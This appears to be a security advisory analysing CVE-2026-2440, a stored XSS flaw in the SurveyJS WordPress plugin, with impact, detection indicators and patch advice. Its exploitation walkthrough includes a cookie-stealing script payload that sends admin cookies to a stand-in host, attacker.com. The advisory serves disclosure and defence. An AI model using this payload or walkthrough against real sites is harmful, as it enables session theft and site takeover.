CVE-2026-2440: 
WordPress vulnerability analysis and mitigation

CVE-2026-2440 is a Stored Cross-Site Scripting (XSS) vulnerability in the SurveyJS: Drag & Drop Form Builder plugin for WordPress, affecting all versions up to and including 2.5.3. The flaw arises from insufficient input sanitization and output escaping in survey result submissions, allowing unauthenticated attackers to inject malicious payloads that execute in the administrator's browser context when survey results are viewed. It was published on March 21, 2026, with Wordfence credited as the assigner. The vulnerability carries a CVSS v3.1 base score of 7.2 (High) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The public-facing survey submission page exposes the WordPress nonce required for form submission, enabling unauthenticated attackers to submit HTML-encoded payloads without any prior authentication. These payloads are stored in the database and, when an administrator views the survey results page, are decoded and rendered as executable HTML/JavaScript in the admin context. Vulnerable code paths have been identified in ajax_handlers/save_result.php (line 15) and views/results.php (line 116) of the plugin (Wordfence, Plugin Source - save_result, Plugin Source - results).

Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the context of a logged-in WordPress administrator, risking session/credential theft, unauthorized administrative actions (such as creating rogue admin accounts or installing malicious plugins), and full site compromise. The vulnerability's changed scope means the impact extends beyond the plugin itself to the broader WordPress installation and any data accessible to the administrator. There is no direct availability impact, but confidentiality and integrity of the WordPress site are both at risk (Wordfence, Red Hat CVE).

No public exploit code or active in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.057% (0.000570), indicating a low probability of exploitation in the near term. The vulnerability does not appear in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, the attack requires no authentication and no user interaction from the attacker's perspective — only the administrator must view the results page — making it relatively easy to attempt (Wordfence).

1. Reconnaissance: Identify WordPress sites running the SurveyJS plugin (versions ≤ 2.5.3) by searching for plugin-specific indicators (e.g., /wp-content/plugins/surveyjs/) using tools like Shodan, Censys, or Google dorks.
2. Obtain nonce: Visit the public survey page on the target site and extract the WordPress nonce value exposed in the page source or JavaScript variables, which is required for survey submission.
3. Craft malicious payload: Prepare an HTML-encoded XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) designed to steal admin session cookies or perform unauthorized actions.
4. Submit payload: Submit the crafted survey response via an HTTP POST request to the survey submission endpoint (handled by save_result.php), including the extracted nonce and the encoded malicious payload as a survey answer field.
5. Wait for admin trigger: The payload is stored in the database. When an administrator navigates to the survey results page (views/results.php), the HTML-encoded payload is decoded and rendered as executable HTML/JavaScript in the admin's browser.
6. Achieve objective: The executed script performs the attacker's intended action — such as exfiltrating the admin's session cookie, creating a new admin account, or redirecting the admin to a phishing page — leading to site compromise (Wordfence, Plugin Source - save_result).

• Network: Unusual POST requests to the WordPress survey submission endpoint (e.g., /wp-admin/admin-ajax.php with action=save_survey_result or similar) containing HTML-encoded script tags or event handlers in survey answer fields; outbound requests from the admin browser to unknown external domains shortly after viewing survey results.
• Logs: WordPress access logs showing repeated survey submissions from diverse or anonymized IP addresses with abnormally large or encoded payload values; admin-side requests to external URLs logged in browser/proxy logs following visits to the survey results page.
• File System: Unexpected new WordPress admin accounts created without authorization; newly installed or modified plugins/themes not initiated by legitimate administrators.
• Process/Behavior: Unusual JavaScript execution in the admin panel context; admin session cookies appearing in external server logs (indicating exfiltration) (Wordfence).

Users should update the SurveyJS: Drag & Drop Form Builder plugin to version 2.5.4 or later, which contains the fix for this vulnerability. As an interim workaround, administrators can restrict access to the survey results page to trusted IP addresses or temporarily disable the plugin until patching is feasible. Reviewing existing survey submissions for suspicious HTML-encoded content is also recommended to identify any prior exploitation attempts (Wordfence, Wordfence Weekly Report).

Wordfence disclosed the vulnerability as part of their weekly WordPress vulnerability report for the week of March 16–22, 2026, and published a dedicated threat intelligence entry. The vulnerability was also picked up by automated security alert services such as RedPacket Security and VulDB shortly after publication. No notable independent researcher commentary or significant media coverage beyond standard vulnerability aggregation has been identified (Wordfence Weekly Report, Red Hat CVE).